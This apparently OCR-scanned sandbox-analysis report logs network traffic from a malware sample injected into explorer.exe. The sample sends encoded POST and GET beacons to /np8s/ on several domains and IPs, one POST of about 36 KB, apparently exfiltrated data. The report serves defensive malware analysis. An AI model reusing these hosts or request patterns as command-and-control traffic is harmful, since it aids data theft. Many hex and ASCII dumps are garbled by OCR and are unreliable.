Location: https://www.brawlhallacodestore.com/np8s/?zVB=SjFSWO0qH8X1Gu/+4r88YNPSLQa2KKx1h4LPt291CcOnR
Xdmgbio7b0swgMzU3Pebjd8T&4hM4=04B0f

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61
6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 20 62 67 63 6f 6¢ 6f 72 3d 22 77 68
69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢
79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74
65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>301 Moved Permanently</titte></head><body bgcolor="white"><center><h1>301 Moved
Permanently</h1></center><hr><center>nginx</center></body></html>

Destination IP Destination Port Process
185.53.179.171 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www.pdwfifi.com

Connection: close

Content-Length: 409

Cache-Control: no-cache

Origin: http://www.pdwfifi.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.pdwfifi.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 7e 4a 4c 69 37 73 45 78 62 34 72 33 6b 39 4b 7a 77 46 68 38 79 39 56 43 56 59 4b 36 62 59 78
75 49 56 34 78 33 6d 65 4a 48 6b 6d 35 36 46 43 5a 70 53 53 68 69 76 43 6a 4a 5f 76 2d 75 79 50 6e 44 75 33 45 35 6a
78 6¢ 52 61 6d 35 69 49 62 4a 6e 4b 7a 63 55 52 73 58 6f 73 37 61 46 63 69 51 52 4e 4c 68 6f 42 43 59 44 34 74 67 36 5
376 6¢ 4b 44 74 5a 77 2d 4f 45 77 4f 34 32 76 41 76 43 49 2d 64 67 49 6¢ 64 66 79 6e 75 4d 50 68 66 62 39 31 68 56 46
3754 61 58 78 54 39 64 6b 6d 42 4c 63 28 71 65 36 31 46 36 4e 6¢ 71 72 6a 34 77 30 58 43 4e 66 71 6b 4c 73 4b 41 64
7559 44 37 7e 38 6f 7a 45 37 71 65 51 67 57 32 44 4c 4b 52 77 43 4e 75 33 34 6a 2d 41 5f 49 56 72 4c 78 37 46 52 28
46 31 78 62 6e 53 68 69 44 6f 67 67 78 67 79 72 45 35 33 4e 76 30 63 47 53 77 78 4e 30 38 41 36 57 70 54 50 70 52 2d
55 51 49 39 5a 4d 43 4e 4b 55 41 63 68 58 6f 69 39 78 34 4a 64 70 55 6d 6¢ 67 57 36 36 36 44 66 4d 41 62 67 67 44 71
74 75 6b 48 65 49 78 56 37 46 4c 61 4c 47 4a 58 39 41 4a 5a 37 50 34 5a 2d 35 47 74 4¢ 50 59 7a 41 74 56 51 4f 75 54
51 333155 78 73 77 73 6¢ 6b 6f 33 57 69 6¢ 39 4f 36 7a 6f 59 41 33 49 46 4d 4b 51 32 48 49 54 58 37 44 78 61 34 70 36
57 41 4¢c 72 62 45 39 72 64 75 68 4f 70 4b 4c 56 4c 51 29 2e 00 00 00 00 00 00 00 00

Data Ascii: zVB=~JLi7sExb4r3k9KzwFh8y9VCVYK6bYxulV4x3meJHkm56FCZpSShivCjJ_v-uyPnDu3E5jxIRam5ilbJnKzc
URsXos7aFciQRNLhoBCYD4tg6SvIKDtZw-OEwO42vAvCl-dglldfynuMPhfb91hVFE7TaXxT9dkmBLc(qe61F6NIqr
4AWOXCNfgkLsKAduYD7~80zE7qeQgW2DLKRWCNu34j-A_IVrLx7FR(F1xbnShiDoggxgyrE53NvOcGSwWxNOBA6WpTPpR-
UQI9ZMCNKUAchX0i9x4JdpUmlgW666DfMAbggDqtukHelxV7FLaLGIX9AIZ7P4Z-5GtLPYzAtVQOUTQ31Uxswslk
03Wil906z0YA3IFMKQ2HITX7Dxa4p6WALrbE9rduhOpKLVLQ).

Destination IP  Destination Port Process
185.53.179.171 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www. pdwfifi.com

Connection: close

Content-Length: 36477

Cache-Control: no-cache

Origin: http://www.pdwfifi.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.pdwfifi.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 7e 4a 4c 69 37 70 38 64 43 4c 7e 78 67 64 48 54 39 53 78 6f 71 59 64 41 61 4a 7e 5f 47 70 63 77
66 33 41 62 71 58 4f 65 45 6¢ 65 76 72 46 32 34 69 78 69 35 69 71 7e 4f 64 63 4c 69 71 53 54 67 44 75 76 75 35 6a 39
6¢ 57 71 50 6e 69 70 4c 6a 6b 6f 72 64 51 78 73 6e 70 73 37 48 54 74 4f 39 52 4e 66 48 6f 42 62 41 44 4¢c 70 67 37 30 72
6c 62 55 35 65 30 65 4f 4f 39 75 4a 76 72 41 7a 66 49 2d 46 47 49 6b 68 66 79 58 79 4d 4f 43 48 61 31 55 68 61 43 72
54 66 53 78 54 6f 55 45 71 5f 4c 63 79 5f 65 37 6¢ 46 37 34 39 71 71 3349 77 79 6¢ 71 4f 55 36 6b 43 6f 4b 41 41 71 64
61 6e 7e 38 30 4a 45 2d 47 6b 51 31 57 32 41 62 4b 51 36 78 73 64 77 76 33 70 47 5f 4d 69 72 4c 39 43 47 43 37 64 31
307262 46 41 53 34 30 53 59 62 67 77 48 36 36 58 4e 72 67 4d 47 43 77 78 4e 41 38 41 37 46 70 53 28 70 52 38 30 51
4a 7370 4d 4c 72 65 58 49 4d 68 57 6¢ 43 38 73 38 4a 52 73 55 6d 38 46 57 34 75 71 44 4e 49 41 62 30 38 44 73 50 32
6c 65 65 49 7a 57 37 46 6¢ 48 62 47 4d 58 39 41 72 5a 5f 61 6¢ 5a 4a 68 47 74 61 50 59 30 6¢ 78 56 53 65 75 54 65 58
3157 37 4d 30 38 6¢ 6b 78 38 57 67 39 74 4f 74 44 6f 66 53 28 49 45 74 4b 51 79 33 49 54 44 4c 44 76 64 74 45 44 63

42 6a 61 4d 32 63 67 43 71 45 6d 69 61 4b 66 52 46 76 4c 34 59 63 63 6e 43 77 64 70 64 42 50 30 58 45 74 6b 75 58 56
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Timestamp e Direction
transferred

Session ID Source IP Source Port

19 192.168.2.5 49913

Timestamp e Direction
transferred

May 27, 2022 9679 ouT

18:43:48.469747066

CEST

Copyright Joe Security LLC 2022

185.53.179.171 80

6e 31 34 77 6f 71 7a 30 4f 56 70 39 76 69 59 55 6f 43 45 35 65 2d 57 5a 72 63 6¢ 4d 33 7a 75 4c 66 30 41 6d 32 39 52 5a
8% 75 50 43 43 65 32 70 63 4d 38 58 69 73 5a 6d 32 72 43 42 38 42 51 38 31 6a 4e 37 70 68 43 58 35 35 33 50 6a 34
55 4a 4e 6e 50 37 47 4d 78 69 63 64 32 4f 67 76 39 32 68 4a 5a 7a 77 74 6d 42 4a 66 7a 59 4f 30 30 79 51 64 6a 70 36
2842 47 31 30 6b 50 7a 61 65 76 48 77 52 70 5f 77 77 6a 2d 41 32 6f 34 47 72 33 39 38 74 68 36 50 2d 7a 42 44 2d 37
4f 70 79 34 7a 34 43 78 34 68 48 53 44 76 74 4f 54 6a 54 35 48 47 36 37 49 28 39 38 32 6d 78 33 37 72 6d 6b 67 36 6C
37 4a78 75 7a 41 6d314a79 717161787134 3243 5a6e 39 4e 6d 37 4a 7a 51 41 62 62 43 79 69 33 6d 77 28 31 6b
45 69 36 52 4e 52 6¢ 77 6d 5a 33 73 51 34 34 67 71 65 46 58 67 64 79 39 7a 55 71 41 56 49 64 6e 4e 39 55 47 5f 65 31
59 6d 50 55 68 53 77 48 44 64 47 47 39 6a 6f 64 65 4a 4b 6e 6¢ 38 71 74 44 6f 58 47 71 74 30 58 49 77 39 54 59 6e 65
49 3275 61 61 6a 79 68 57 68 71 33 69 4a 33 32 49 33 6b 6d 58 46 52 51 52 46 65 71 67 46 69 58 35 56 64 37 73 43 30
6a 38 42 4a 63 54 6e 36 4c 77 28 54 6a 4f 35 51 57 78 5a 75 4b 57 56 32 64 6¢ 32 51 7a 41 7e 63 34 45 31 68 38 55 72
47 54 73 33 6¢ 54 76 42 31 53 4e 6f 54 6a 55 54 47 74 45 4f 77 63 76 44 70 66 30 36 47 50 52 64 63 63 35 4e 34 4c 66
57 65 35 32 35 51 63 54 57 74 57 2d 72 54 6d 76 46 68 65 4a 28 4f 70 73 52 35 50 7a 66 75 50 53 50 46 66 4d 62 63 28
3545 67 72 34 43 30 32 32 55 56 36 56 63 35 6f 65 70 7a 38 4e 79 76 33 4f 33 61 28 45 44 5a 61 5a 69 4c 63 76 48 39
3253 75 59 6¢ 5a 4b 42 57 36 4e 4a 4b 34 50 76 62 56 34 33 62 78 41 45 57 79 31 37 4e 41 4f 47 47 38 39 55 6e 41 62
34 39 7a 34 45 6f 64 38 38 58 47 6a 62 77 75 6¢ 33 35 32 54 41 31 50 61 31 6d 4c 74 33 6¢ 7a 51 6d 6d 59 51 68 6e 36
46 77 39 5f 46 7a 61 71 37 38 54 4d 67 4b 7a 76 78 5f 67 53 62 59 4d 7a 55 32 71 47 48 68 33 2d 6¢ 36 41 4c 34 67 6a 6f
63 4c 66 6a 6f 4a 31 70 48 45 38 59 64 5a 32 47 33 69 4c 37 44 51 62 5f 53 44 51 30 7e 63 69 55 54 43 38 72 56 68 39 3
7 4d 77 63 42 7a 48 6d 6b 43 78 5a 50 65 34 67 50 7e 58 50 6e 66 5a 7a 56 47 6a 58 72 68 44 7e 5f 58 5f 36 79 72 42 6d
41 42 5a 33 75 7a 4b 56 4a 51 34 65 65 43 4f 36 35 76 35 47 69 39 47 4b 5f 69 61 41 32 68 7a 47 53 30 6¢ 69 2d 47 35
78 4d 67 50 57 39 42 47 50 44 51 34 71 62 79 31 6¢ 41 64 54 6¢ 61 6¢ 38 41 62 4a 35 73 76 33 48 38 61 5a 38 59 59 75
7474 53316238432875492d 717851524358 71 64 43 79 4c 7a 72 5a 5a 43 6a 37 53 31 39 4c 55 48 4f 34 76 4f
35 4a 4d 6a 76 77 4a 63 51 51 4e 35 58 5a 28 65 4f 66 34 6e 4a 54 39 5a 79 56 55 75 46 55 34 44 64 66 64 46 6a 66 6e
79 42 78 50 52 50 6f 70 4a 45 73 49 6a 4d 44 73 5a 67 73 4a 33 72 39 64 75 33 7a 31 35 77 4f 4a 32 36 66 31 46 6e 73
42 68 56 36 58 71 43 5f 34 38 36 62 74 76 53 73 69 57 51 34 65 57 4f 54 51 35 4e 47 6a 42 68 58 69 4e 63

Data Ascii: ZVB=~JLi7p8dCL~xgdHT9SxoqYdAaJ~_Gpcwf3AbgXOeElevrF24ixi5iqg~OdcLigSTgDuvu5j9IWgPnipLjkord
Qxsnps7HTtO9RNfHoBbADLpg70rlbU5e0eO09ulvrAzfl-FGIkhfyXyMOCHalUhaCrTfSxToUEq_Lcy_e7IF749qq3
IwylgOU6kCoKAAqdan~80JE-GkQ1W2AbKQ6xsdwv3pG_MirL9CGC7d10rbFAS40SYbgwHE6XNrgMGCwxNABA7FpS(p
R80QJspMLreXIMhWIC8s8JRsUmM8FW4uqDNIAb08DsP2leelzW7FIHbGMX9ArZ_alZJhGtaPYO0IxVSeuTeX1W7MO08lk
x8Wg9tOtDofS(IEtKQy3ITDLDvdtEDcBjaM2cgCqEmiaKfRFvL4AYccnCwdpd BPOXEtkuXVn14woqz0OVp9viYUoCESe-
WZrcIM3zuLfOAM29RZ67uPCCe2pcM8XisZm2rCB8BQ81jN7phCX553Pj4UINNP7GMxicd20gv92hJZzwtmBJIfzYO
00yQdjp6(BG10kPzaevHWRp_wwj-A204Gr398th6P-zBD-70py4z4Cx4hHSDVtOTjTSHG671(982mx37rmkg6l7Jxu
zAm1Jyqgaxq42CZn9INm7JIzQAbbCyi3mw(1kEi6RNRIwmZ3sQ44gqeFXgdy9zUgAVIAnNOUG_elYmPUhSwWHDAGG9jod
eJKnI8qtDoXGqtOXIwITYnel2uaajyhWhq3iJ32I3kmXFRQRFeqgFiX5Vd7sC0j8BJcTn6LwW(TjO5QWxZuKWV2dI2Q
zA~c4E1h8UrGTs3ITvB1SNoTjUTGtEOwcvDpfO6GPRdAcc5NALfWe525QcTWtW-rTmvFheJ(OpsR5PzfuPSPFMbc(5
EgraC022UV6Vc50epz8Nyv303a(EDZaziLecvHI2SuYIZKBWENJIK4PVbVA3bxAEWY17NAOGG89UNAb49z4E0d88XGjb
wul352TA1PalmLt3lzQmmYQhn6Fw9_Fzaq78TMgKzvx_gShYMzU2qGHh3-16AL4gjocLfjoJ1pHE8YdZ2G3iL7DQb_
SDQO~ciUTC8rVh97MwcBzHmMKCxZPe4gP~XPnfZzVGjXrhD~_X_6yrBmABZ3uzKVJQ4eeCO65v5GI9GK _iaA2hzGSOli-
G5xMgPW9BGPDQ4qgby1lAdTlal8AbJ5sv3H8azZ8Y YuttS1b8C(ul-gxQRCXqdCyLzrZZCj7S19LUHO4vO5IMjvw]c
QQN5XZ(eOf4nJT9ZyVUuUFU4DdfdFjfnyBxPRPopJEsIjMDsZgsJ3r9du3z15w0J26f1FnsBhV6XqC_486btvSsiwQ4
eWOTQ5NG]BhXiNcKQouejWj9JrfbTtVCx8Rga-BgFdIXkYXJHuwulnXd31G9dV2calB70AF7GDBxNtIDn7uga2wTtm
PNVjrtzuOq1dZ8VbIDJInXY7aVgMaEdvmVmFRszoFU6H8d_hJIn6MZfLU4XLSUVFp-ZEjal5VPyxPXPyvV3IVPNQPASI
PbQeGJ3_gAnrDTEeBajGJUVIWUOs833ARjxgopiz(RFrZV4qKGYDDnAdX9g3lbZnzRmEoYssTzSTa2ITOz7RkKgcas
DBIfiwr4p-XV~VVd18sPeuQ3CqlFMCRMnekbjGIGyw0zLQEAN-O-HANfiRLBs8XDPRTgeKRu02cOXEiOs3iHMg39pOg-
HUQ5nT5VZg(cpjT4kpkS(2bU~j5cqQhok9rd(Uj1HWnH8XgLMZUBHowkMwVg(kOvI6Y E1y18DD6y944UEZN5Hc(aStZ-
yAKsMA3rMdJ2aGx7dbMCDm73YY6byAVKXdaD9LUkd3w5nGUNWpL77qdTkRH7SIa3272xLnxQ4xsU8zM7HoAuSU
BnflGeUk9_LWX8LWjXn4XxF381V3vbijdb3gWzxJFTsHEzsGBwyDPN5G1sI51Ech54WnPJ(IbaSUCyP1JVSuyfBGRI
uF2wZrhLVrHy5Lt0OWG8RaZttlucHrx81OUP7NOTpAn19ki8vnSRdxPMTe2f5vOydEORYNwoowMpbMGmMBVSoOLQ2RN8
SrZ6YPHSCmsBLb46gEP87LX2Fmao0GSveXZisFbMchSbRQRIFCGrpFx6hxpQulttdY Qy3Wh5bHVITtINEaW13nAgoX
y7whC410lykSn5FSowFJIFoiWTLSrE1KIftUmE9E~EBctltsRd51Zhv8vhgudKcextsdepY ThEve5IXGILQ25JcTIG99Is0lq49b4
JV4vNZvSUcxomg(VGWMLEVocKyRQAazN2SA-spQIIXOy1DPQG7CC~fyDhkkg7xjehfLDAwjIHKrDKdeAcr6i9tGXdS
oxtxd79re0Z8d3qofTfaql5ip3XiNMjNR58XvuDjB2fO2_F60hF4A61xA8B1t08HRKCtxhjEXVdFgule9o~_omxjgakgFjK997Kd
b3r4xJCHmMdrjnKp0Z2xk7PRK5DRdricsfOuBJZ04DE4KwQ03ZDL5tcBPV-XdnGh6ZFpmf93A7zv09ABOkzDEEZ7SGe
9yV-~fpnYWy9goJysfc4mOwjM3vEVOMdcexf8TzTbnjoXcg0_X-CzPt62fFgnYCy4VZgspYLDf2U13V8Ar1ZqWRGdIJ
1IZE2MGhdP4Hg~d32QgqRg4m0sI1QIspTS2LodBxg4K-BrC7x9YvwrteMo2UNgXyGlsjWUIsmvErg_36wvsp3ncv4Rwf
iXxaykHkD9h7bxFHtimuwjSdrac4vfhYZDSdOvLbFeOjEhxIsnk_JO~MyLP4c7Yh1bpm5P9PXKUBrOXA2dvwp7V2U_
dybBCdMKhskvBIEFAQYII_OyiglL850jh8xj_6FgPuAFjKi(2UAJp0QgW6g26es3-0YqX3LbuR_7LO7bhcPnmlAvSuf
gVORLjytFGOuVvdnxOPjgkBHKffYFxsilTk9VhROe-dICklk3foCoH3hayhlyywejATHILGVIYWI3f5SbHTqoUEfXmX
MVXEIxmQmOInvDvLKyedhkco6JJ3hkIJktIt5jbSBsclSiiBWE63s1cn2mbDYsDIQGJILGt33SYuhY QHInMyjvVa2kwW
H2UcaFSPigVAiV4dfWnDE3KAAa3q(zvxKw~ic8BzuH89jqB638C-wdyEieYh~7hLryMnKNhrfY GtdhFFcA9aoGFStk
aVfDef5Zm2enzA0_pzvYgag8ximduzlJv5Xsh8fiMKOWrHMQZ1ThQvt03KZM2no2k_H8(OZkM4YKpYMDtablrsoMVJ
kJBmcasWewg2CQ5GVIFUNIXYgD-IRGD3ZIPMCI1~vBB37VQpCVdGSzWQ2ASojrWhd1D~h(0gdgMxMGiOuXC2LugCD
RtpWQfbaCil1wk8D(x0TGneLkHIxmqojC5iHKe6iGeB20GiikvFcLI2hCYiTa885BxleFcX6EtPcwx3bvzj7xXHQOg
JBO9RQKZxh2A2WOKBjJ1FMAUxdP1WHRdKaDLccXZNOWP8Xp9rpJOZG8WYRLLmM(Ww74Ykmbg08GCU_QOW?7
c8iju2GutUi7OHeRhLbmEq9P6IpgktywprfYVsrLSexiCLtGpXnxoUaBRQzCaahz3UKKY7WIIMJ7DleRoakdGVNz5F
CXgRWNAQqvo9M~cOXHelJY4hhzUnvEJGoly6DnF4dxNThVOuJwdPecxRNcsgkGIHKjora5_RYPqDEix1WqBRdViD_vu
SelP7qQz~Bb3UIs09LMM162VFASFNVEo0L7BBdim08mo1ZSqlu3SMFTsqRSEIKIFOdCMnf4(Idz6a9sQ2NdXHEV5ZEG
G6t6VN(UtYyicbctbCWcecrhsDug79uZUugHFF_0VnhwMu3dRBYW60jCYPEEOMbZgXFXCV_yxzoCDKwWObESIXrmNAWS
XZczoSNQ5yYtUZs260isgy7yVIoCkmODpN2yVAu5AQabnARBXDO_9LgjL6IDJOKGBIY2sMHmMI60JOshVk4Ewxx6qpC
bcgBkoVOu-qO4aCiPiamKFgGUbgmhQtRG1JuDVGmMMHgugCSEx11MVYDO0ZczjcyBAQGM9oFucNX2e0uOV
8WUam2EzryUXAyn9zCyCAAFuPy3 Bal8hUp649

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?4hM4=04B0f&zVB=xL/YIJAUY6uB/cHSIkc/r5VazJ7uMaOkbAtysG6BLnWT6huomjvuhg3RLtT5uw3RUbD6
HTTP/1.1

Host: www. pdwfifi.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

May 27, 2022
18:43:48.486145020
CEST

Session ID

2

Timestamp

May 27, 2022
18:42:18.078087091
CEST

May 27, 2022
18:42:18.516205072
CEST

Session ID

20

Timestamp

May 27, 2022
18:43:53.841447115
CEST

kBytes
transferred

9679

Source IP

192.168.2.5

kBytes
transferred

1171

1171

Source IP

192.168.2.5

kBytes
transferred

9682

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49848

Direction

ouT

Source Port

49918

Direction

ouT

Destination IP

103.247.11.212 80

Destination IP

45.39.111.146 80

Data

HTTP/1.1 403 Forbidden

Server: nginx

Date: Fri, 27 May 2022 16:43:48 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 33 20
46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html|>

Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?4hM4=04B0f&zVB=VOk/KoOKPmyFTHQXWsNAO627WiKHMN6hKQrMVwJFQeleuvxAvAuscp
XAVIMNAXbQu1P/ HTTP/1.1

Host: www.sekolahkejepang.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Fri, 27 May 2022 16:42:18 GMT

Server: Apache

Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: WordPress

Upgrade: h2,h2c

Connection: Upgrade, close

Location: https://www.sekolahkejepang.com/np8s/?4hM4=04B0f&zVB=VOk/KoOKPmyFTHQXWsNAO627WiK
HMN6hKQrMVwJFQeleuvxAvAuscpxAvIMNnAXbQulP/
Vary: Accept-Encoding

Content-Length: 0

Content-Type: text/html; charset=UTF-8

Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.68chengxinle.com

Connection: close

Content-Length: 409

Cache-Control: no-cache

Origin: http://www.68chengxinle.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.68chengxinle.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 37 64 39 33 45 51 68 55 78 32 6d 4c 57 63 39 4b 5a 76 50 4b 4a 74 43 64 36 43 65 71 4d 54 35
6e 62 65 53 4d 4d 6d 7e 36 61 30 77 30 34 6f 37 71 4a 55 75 32 43 72 4f 2d 62 6¢ 39 52 57 47 56 76 78 4e 58 64 4e 78
7e 7279 48 56 73 77 42 68 5a 52 76 42 53 45 4a 30 4c 6a 6¢ 45 53 6d 4c 67 5a 49 54 78 66 73 76 49 76 59 4c 4c 73 39
4e 35 4a 45 78 5a 69 58 6f 70 4b 6b 76 7a 4a 42 37 32 5a 59 66 7a 63 4b 39 66 39 74 31 38 75 4a 58 68 68 57 7a 79 44
42 4b 7e 42 57 49 6e 79 68 6f 73 36 49 52 56 34 75 34 43 63 36 45 58 48 6b 45 4b 54 50 45 31 67 51 33 4d 72 6f 41 50
37 6d 49 41 6e 44 79 38 77 46 35 6d 56 36 79 53 31 7a 67 4a 4e 30 63 42 67 54 38 31 4d 30 34 6f 42 39 62 38 50 53 7a
7371 41 47 48 66 46 49 41 6¢ 4d 63 7a 4c 4b 36 33 70 30 69 61 6f 61 67 46 7a 31 41 4a 67 38 42 57 2d 4e 59 66 4a 6b
74 67 65 70 6e 65 72 6a 73 77 45 7a 6e 6d 76 55 66 33 34 75 39 48 76 34 45 4c 71 54 47 55 4b 6d 64 71 2d 69 47 73 76
28 4d 58 35 37 41 6a 31 6¢ 5f 53 66 77 34 7e 58 30 4b 45 79 43 74 50 50 43 62 57 33 37 75 64 77 4e 39 65 6d 46 52 4b
52 6f 42 64 38 28 6d 37 45 49 6b 63 6f 58 64 63 6f 46 79 67 42 28 77 51 57 62 43 7e 4d 30 55 4d 52 31 35 7e 35 32 56
72 67 6d 46 5a 77 39 49 78 51 51 6e 73 6¢ 52 46 63 32 61 77 29 2e 00 00 00 00 00 00 00 00

Data Ascii: zZVB=7d93EQhUx2mLWc9IKZvPKJItCd6CeqMT5nbe SMMm~6a0w0407¢JUu2CrO-bIORWGVvXNXdNx~ryH
VswBhZRVBSEJOLJIESMLYZITxfsvIVYLLSONSIEXZiXopKkvzIB72ZYfzcK9f9t18uIXhhWzyDBK~BWInyhos6IRV4
U4CCBEXHKEKTPE1gQ3MroAP7mIANDy8wF5mV6yS1zgINOcBgT81M040B9b8P SzsqAGHfFIAIMczLK63pOiaocagFz1A
Jg8BW-NYfIktgepnerjswEznmvUf34u9HVAELGTGUKmdQ-iGsv(MX57A]1l_Sfw4~XO0KEyCtPPCbhW37udwN9emFRKR
0Bd8(m7ElkcoXdcoFygB(wQWbC~MOUMR15~52VrgmFZw9IxQQnsIRFc2aw).
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Session ID Source IP Source Port

21 192.168.2.5 49919
. kBytes
Timestamp transferred
May 27, 2022 9691 ouT
18:43:54.008547068
CEST

Copyright Joe Security LLC 2022

45.39.111.146 80

Direction

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1
Host: www.68chengxinle.com
Connection: close
Content-Length: 36477
Cache-Control: no-cache
Origin: http://www.68chengxinle.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.68chengxinle.com/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 7a 56 42 3d 37 64 39 33 45 56 68 38 75 57 4b 57 61 73 35 70 65 64 76 6b 52 4e 53 6¢ 34 79 4b 6¢ 4a 52 73
6e 52 4d 71 2d 53 54 43 4c 62 33 73 75 28 59 50 4c 44 31 6e 78 43 70 57 58 54 33 4a 56 53 6d 5a 6f 78 4e 66 43 4e 78
36 72 7a 48 74 38 33 67 78 5f 52 4e 35 52 48 70 31 2d 69 6¢ 45 62 73 70 55 30 49 54 6¢ 48 73 76 51 5f 59 62 66 73 28 6
f 6c 4a 4e 51 5a 70 49 59 70 45 34 2d 65 4b 63 72 36 75 59 66 4c 55 4b 5f 4c 39 74 46 34 75 47 58 52 69 51 77 71 45 4d
36 7e 4f 44 34 6e 5a 34 34 67 49 49 52 52 61 75 39 36 63 36 79 76 48 6¢ 58 53 54 4a 31 31 6a 61 6e 4d 75 69 67 4f 6b
69 49 63 3244 79 77 38 46 34 6a 69 39 43 57 31 79 51 4a 4f 34 71 42 6f 43 39 31 68 32 36 49 32 39 61 42 72 52 6e 4d
35 41 44 58 5f 56 65 74 52 43 61 65 73 4b 34 61 45 35 69 61 73 4f 77 45 76 31 41 49 66 38 42 58 64 4e 62 33 4a 6b 71
45 65 70 7a 7e 72 68 75 6f 4c 38 33 6d 71 51 66 33 79 34 4e 44 58 34 45 54 45 54 44 73 67 6d 71 69 2d 68 7a 77 76 34
75 76 2d 30 51 69 2d 69 5f 53 58 75 49 7e 75 30 4b 46 52 43 73 50 6¢ 43 72 36 33 36 39 46 77 4e 62 4b 6d 48 68 4b 52
6e 68 64 79 30 47 33 79 49 6¢ 30 73 58 63 41 43 46 42 4d 42 38 6a 6f 57 66 57 69 4d 34 45 4d 52 36 5a 28 64 6¢ 46 6d
66 71 79 78 4c 7e 70 30 6d 46 6e 64 41 53 6d 39 4f 4b 41 69 69 39 43 6a 49 67 32 57 48 79 64 7e 73 6b 31 7a 39 34 61
3141 7a48 73 4f 74 32 34 43 6f 58 46 4d 77 67 49 37 48 51 6¢ 33 6e 54 32 47 63 4f 62 77 4c 62 6b 41 66 2d 64 65 6f 77
5330 70 5a 61 57 73 7a 7a 75 68 55 70 52 65 5a 4a 44 76 7a 56 5f 71 59 50 61 35 4f 6a 6b 49 72 54 6a 58 31 74 34 76
78 7332 62 6a 44 6b 70 4a 69 62 70 30 48 56 6¢ 33 72 62 70 77 4f 62 38 4d 76 49 57 6¢ 73 4¢c 69 62 70 70 4d 70 73 55
5a 50 61 32 28 5a 73 68 41 73 53 43 38 6b 31 46 61 5f 33 66 4b 71 44 45 44 66 4f 72 4354 7573 714853353532 4b 7
25156 64 4e 34 2d 34 36 64 37 32 36 42 50 43 34 4e 42 62 37 6b 51 48 50 6d 47 67 52 74 58 79 36 61 47 6¢ 6d 75 47
7a 33 42 6f 67 4e 34 70 4c 57 67 47 6b 7a 62 78 46 34 51 76 52 57 6a 45 4d 55 44 6d 6a 75 6f 6f 32 4f 56 4b 33 58 5a 30
73 56 74 76 63 51 4f 6f 73 4a 64 68 68 38 78 2d 5a 34 48 65 69 76 73 5f 4a 43 50 71 51 53 65 4f 71 4a 67 34 61 73 69 2d
3474 4156 6175 4d 39 77 61 79 57 42 63 5552 51 63 77 69 72 35 54 4e 7e 4f 32 67 49 35 59 7a 72 30 39 58 28 65 6¢
4d 49 44 61 38 31 31 68 72 5a 57 4f 52 59 6e 7a 31 66 64 45 70 73 50 52 6b 66 69 47 74 4b 54 77 6e 47 50 48 69 30 51
4c 70 55 51 39 54 6d 46 6d 6¢ 34 6d 6f 65 57 67 6a 69 45 69 66 34 5a 68 44 64 6¢ 36 44 46 6f 51 62 63 57 79 4c 4d 34
3839 70 54 34 4c 63 32 6¢ 43 5a 50 78 6f 64 28 6d 61 5f 6a 72 78 4d 36 30 54 6b 31 36 55 78 4c 4b 67 66 58 31 69 4c
56 5f 31 4c 62 66 50 74 6¢ 57 42 4e 69 38 7e 78 75 64 6f 65 37 51 74 66 7a 56 31 4d 77 4b 4d 79 6d 4a 41 4b 37 6¢ 57
